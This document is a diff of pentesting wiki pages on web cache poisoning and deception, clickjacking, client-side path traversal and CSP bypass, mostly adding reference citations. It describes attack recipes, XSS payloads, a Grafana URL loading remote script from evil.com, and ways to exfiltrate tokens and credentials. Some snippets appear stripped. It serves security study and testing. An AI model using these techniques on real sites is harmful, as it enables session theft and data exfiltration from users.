path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.[[8]](#references) Practical recipe (observed across a popular CDN/WAF): -1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace. +1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.[[9]](#references) 2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best): - First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. - Immediately after: GET the main page (`/`). @@ -322,7 +322,7 @@ Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known. +This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.[[10]](#references) For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE): @@ -334,23 +334,23 @@ For full details (cache key construction, ItemService enumeration and a chained ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query. +ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.[[5]](#references) ### 403 and Storage Buckets -Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services. +Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.[[5]](#references) ### Injecting Keyed Parameters -Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error. +Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.[[5]](#references) ### User Agent Rules -Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS. +Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.[[5]](#references) ### Illegal Header Fields -The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error. +The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.[[5]](#references) ### Finding new headers @@ -358,7 +358,7 @@ The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the accep ## Cache Deception -The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. +The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.[[14]](#references) First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. @@ -369,13 +369,13 @@ Other things to test: - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Use lesser known extensions such as_ `.avif` +- _Use lesser known extensions such as_ `.avif`[[6]](#references) Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before. +Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.[[3]](#references) -Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type. +Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.[[3]](#references) Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). @@ -388,7 +388,7 @@ High level idea: - A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin. - Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers. - The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key. -- Anyone can then GET that same cache key without authentication and retrieve the victim’s token. +- Anyone can then GET that same cache key without authentication and retrieve the victim’s token.[[11]](#references)[[12]](#references)[[13]](#references) Example @@ -464,7 +464,7 @@ Validation checklist ### Authenticated HTML cache entries targeted with query cache busters -Not every WCD requires path confusion or static extensions. A very common variant is: **authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body**. +Not every WCD requires path confusion or static extensions. A very common variant is: **authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body**.[[16]](#references) Typical indicators: @@ -491,7 +491,7 @@ If the cache keys on the full URL, forcing the victim to visit that exact URL st ### SameSite=Lax delivery constraints in WCD campaigns -When the victim must seed the cache from an attacker-controlled site, remember that **default `SameSite=Lax` cookies are usually not sent on cross-site subresource requests** such as **``**, **` ``` -Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a "sandboxed" widget can confuse users or trigger password managers to offer stored credentials. +Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a "sandboxed" widget can confuse users or trigger password managers to offer stored credentials.[[5]](#references)[[6]](#references)[[7]](#references) ### Browser extensions: DOM-based autofill clickjacking -Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation. +Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.[[3]](#references) -A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where **XSS on the relying-party domain** allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection. +A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where **XSS on the relying-party domain** allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.[[8]](#references) - For concrete techniques and PoCs see: {{#ref}} @@ -244,7 +244,7 @@ However, these frame-busting scripts may be circumvented: sandbox="allow-forms allow-scripts"> ``` -The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow. +The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.[[2]](#references) ### Server-Side Defenses @@ -319,14 +319,16 @@ if (top !== self) { ## References -- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking) -- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) -- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) -- [SVG Filters - Clickjacking 2.0](https://lyra.horse/blog/2025/12/svg-clickjacking/) -- [Iframe sandbox Basic Auth modal](https://phor3nsic.github.io/2026/01/21/trick-iframe-sandbox.html) -- [Chromestatus: Restrict sandboxed frame dialogs](https://chromestatus.com/feature/4747009953103872) -- [Chromium issue about sandboxed auth dialogs](https://issues.chromium.org/issues/40266321) -- [DoubleClickjacking PoC details (evil.blog)](https://www.evil.blog/2024/12/doubleclickjacking-what.html) -- [Dashlane passkey dialog clickjacking advisory](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue) +- [1] [Clickjacking (PortSwigger Web Security Academy)](https://portswigger.net/web-security/clickjacking) +- [2] [Clickjacking Defense Cheat Sheet (OWASP)](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) +- [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/) +- [4] [SVG Filters - Clickjacking 2.0](https://lyra.horse/blog/2025/12/svg-clickjacking/) +- [5] [Iframe sandbox Basic Auth modal](https://phor3nsic.github.io/2026/01/21/trick-iframe-sandbox.html) +- [6] [Chromestatus: Restrict sandboxed frame dialogs](https://chromestatus.com/feature/4747009953103872) +- [7] [Chromium issue about sandboxed auth dialogs](https://issues.chromium.org/issues/40266321) +- [8] [Dashlane passkey dialog clickjacking advisory](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue) +- [9] [Clickjacking to Account Takeover via Drag&Drop](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) +- [10] [DoubleClickjacking: a New Era of UI Redressing (Paulos Yibelo)](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) +- [11] [DoubleClickjacking: Clickjacking on major websites (Security Affairs)](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-path-traversal.md b/src/pentesting-web/client-side-path-traversal.md index be6b1daeadb..b2fa9870627 100644 --- a/src/pentesting-web/client-side-path-traversal.md +++ b/src/pentesting-web/client-side-path-traversal.md @@ -26,16 +26,16 @@ Typical sinks (where the traversal lands): ### Example findings -- In [**this writeup**](https://erasec.be/blog/client-side-path-manipulation/), it was possible to **change the invite URL** so it would end up **canceling a card**. -- In [**this writeup**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), it was possible to combine a **client side path traversal via CSS** (it was possible to change the path where a CSS resource was loaded from) with an **open redirect** to load the CSS resource from an **attacker controlled domain**. -- In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a technique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, data injected in the DB...) **and the sinks** this data ends (requests being performed). +- In [**this writeup**](https://erasec.be/blog/client-side-path-manipulation/), it was possible to **change the invite URL** so it would end up **canceling a card**.[[5]](#references) +- In [**this writeup**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), it was possible to combine a **client side path traversal via CSS** (it was possible to change the path where a CSS resource was loaded from) with an **open redirect** to load the CSS resource from an **attacker controlled domain**.[[6]](#references) +- In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a technique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, data injected in the DB...) **and the sinks** this data ends (requests being performed).[[7]](#references) - Check [**this browser extension**](https://addons.mozilla.org/en-US/firefox/addon/eval-villain/) to monitor that. - Check this [**CSPT playground**](https://github.com/doyensec/CSPTPlayground) to try the technique. - Check [**this tutorial**](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html) on how to use the browser extension in the playground. ## CSPT-assisted web cache poisoning/deception -CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls: +CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:[[1]](#references)[[2]](#references) - A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR. - By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin. @@ -54,7 +54,7 @@ See details and mitigations in the Cache Deception page: [Cache Poisoning and Ca ### Passive discovery with intercepting proxies -- **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk. +- **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.[[4]](#references) - **Look for double-URL-decoding**: while browsing with Burp or ZAP, watch for `/api/%252e%252e/` patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner. ### Instrumenting SPA sinks manually @@ -84,7 +84,7 @@ Dropping a short snippet in DevTools helps surface hidden traversals while you i ## Recent case studies (2025) -- **Grafana OSS CVE-2025-4123/6023 (v11.5.0+)** – A traversal gadget inside `/public/plugins/` let attackers smuggle `../../` into the plugin asset loader, chain it with Grafana’s open redirect, and force victims to load attacker-controlled plugin bundles. When anonymous dashboards were enabled, a crafted URL such as `https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js` resulted in the browser executing remote JavaScript; if the Image Renderer plugin was installed, the same primitive could be flipped into SSRF by redirecting rendering requests toward internal hosts. Always test plugin asset paths, anonymous dashboards, and renderer endpoints together because a single traversal often gives you both XSS and SSRF angles. +- **Grafana OSS CVE-2025-4123/6023 (v11.5.0+)** – A traversal gadget inside `/public/plugins/` let attackers smuggle `../../` into the plugin asset loader, chain it with Grafana’s open redirect, and force victims to load attacker-controlled plugin bundles. When anonymous dashboards were enabled, a crafted URL such as `https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js` resulted in the browser executing remote JavaScript; if the Image Renderer plugin was installed, the same primitive could be flipped into SSRF by redirecting rendering requests toward internal hosts. Always test plugin asset paths, anonymous dashboards, and renderer endpoints together because a single traversal often gives you both XSS and SSRF angles.[[3]](#references) ## Payload cookbook @@ -97,10 +97,12 @@ Dropping a short snippet in DevTools helps surface hidden traversals while you i ## References -- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/) -- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/) -- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) -- [Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis](https://www.cve.news/cve-2025-4123/) -- [Doyensec CSPT Burp Extension](https://github.com/doyensec/CSPTBurpExtension) +- [1] [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/) +- [2] [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception) +- [3] [Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis](https://www.cve.news/cve-2025-4123/) +- [4] [Doyensec CSPT Burp Extension](https://github.com/doyensec/CSPTBurpExtension) +- [5] [Client-Side Path Manipulation (erasec)](https://erasec.be/blog/client-side-path-manipulation/) +- [6] [Practical Client-Side Path Traversal Attacks (mr-medi)](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html) +- [7] [CSPT2CSRF (Doyensec)](https://blog.doyensec.com/2024/07/02/cspt2csrf.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index a8e54137f5b..ead6c828a2e 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,7 +4,7 @@ ## What is CSP -Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`. +Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`.[[1]](#references) Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations. @@ -70,13 +70,13 @@ object-src 'none'; - `*`: Allows all URLs except those with `data:`, `blob:`, `filesystem:` schemes. - `'self'`: Allows loading from the same domain. -- `'data'`: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images). +- `'data'`: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).[[2]](#references) - `'none'`: Blocks loading from any source. - `'unsafe-eval'`: Allows the use of `eval()` and similar methods, not recommended for security reasons. - `'unsafe-hashes'`: Enables specific inline event handlers. - `'unsafe-inline'`: Allows the use of inline resources like inline `` +Working payload: `"/>`[[4]](#references) #### self + 'unsafe-inline' via Iframes @@ -194,7 +194,7 @@ From here, if you find a XSS and a file upload, and you manage to find a **misin ### Form-action -If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions. +If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).[[5]](#references) Also, notice that `default-src` does not cover form actions. #### Credential theft with same-origin `GET` + `Referer` leak @@ -219,11 +219,11 @@ Even if the page uses a **very strict CSP** such as `default-src 'none'; script- ``` -This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`. +This is useful when `form-action 'self'` blocks direct submission to an attacker-controlled domain: the victim first submits to the **same origin**, then the reflected page immediately **redirects** cross-origin and leaks the full previous URL via `Referer`.[[6]](#references) **Notes:** -- `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin. +- `strict-origin-when-cross-origin` is the modern default referrer policy, so attackers often need to **inject** a weaker policy such as `unsafe-url` to include path and query string cross-origin.[[7]](#references) - `` is attractive in HTML-only exploits because it doesn't require JavaScript and often survives CSPs that only restrict scripts/connections. - If inline CSS is allowed, an invisible full-page submit button can turn this into an **any-click** attack: @@ -275,7 +275,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a #### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): > [!TIP] -> The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**. +> The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**.[[8]](#references) ```html @@ -311,7 +311,7 @@ Angular XSS from a class name: #### Abusing google recaptcha JS code -According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP: +According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:[[9]](#references) ```html
``` -More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/): +More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):[[3]](#references) ```html @@ -345,7 +345,7 @@ More [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-by #### Abusing www.google.com for open redirect -The following URL redirects to example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)): +The following URL redirects to example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):[[10]](#references) ``` https://www.google.com/amp/s/example.com/ @@ -353,7 +353,7 @@ https://www.google.com/amp/s/example.com/ Abusing \*.google.com/script.google.com -It's possible to abuse Google Apps Script to receive information in a page inside script.google.com. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/). +It's possible to abuse Google Apps Script to receive information in a page inside script.google.com. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).[[11]](#references) ### Third Party Endpoints + JSONP @@ -361,7 +361,7 @@ It's possible to abuse Google Apps Script to receive information in a page insid Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload: +Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:[[12]](#references) ```html "> @@ -383,7 +383,7 @@ The same vulnerability will occur if the **trusted endpoint contains an Open Red ### Third Party Abuses -As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are: +As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code.[[13]](#references) Some of these third-parties are: | Entity | Allowed Domain | Capabilities | | ----------------- | -------------------------------------------- | ------------ | @@ -410,7 +410,7 @@ or Content-Security-Policy​: connect-src www.facebook.com;​ ``` -You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps: +You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/).[[14]](#references)[[15]](#references) In this case, you follow these general steps: 1. Create a Facebook Developer account here. 2. Create a new "Facebook Login" app and select "Website". @@ -428,7 +428,7 @@ fbq('trackCustom', 'My-Custom-Event',{​ }); ``` -As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses. +As for the other seven third-party domains specified in the previous table, there are many other ways you can abuse them. Refer to the previously [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) for additional explanations about other third-party abuses.[[13]](#references) ### Bypass via RPO (Relative Path Overwrite) @@ -446,7 +446,7 @@ This works because for the browser, you are loading a file named `..%2fangular%2 ∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`. -By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**. +By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.[[16]](#references) The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue. @@ -461,7 +461,7 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin. ### missing **base-uri** -If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html). +If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).[[16]](#references) Moreover, if the **page is loading a script using a relative path** (like `` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)[[31]](#references) ## CSP Exfiltration Bypasses -If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. +If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.[[32]](#references) ### Location @@ -894,20 +894,37 @@ navigator.credentials.store( ## References -- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) -- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) -- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) -- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) -- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) -- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) -- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) -- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [Stealing Passwords via HTML Injection Under a Strict CSP](https://afine.com/blogs/stealing-passwords-via-html-injection-under-a-strict-csp) -- [MDN: Referrer-Policy 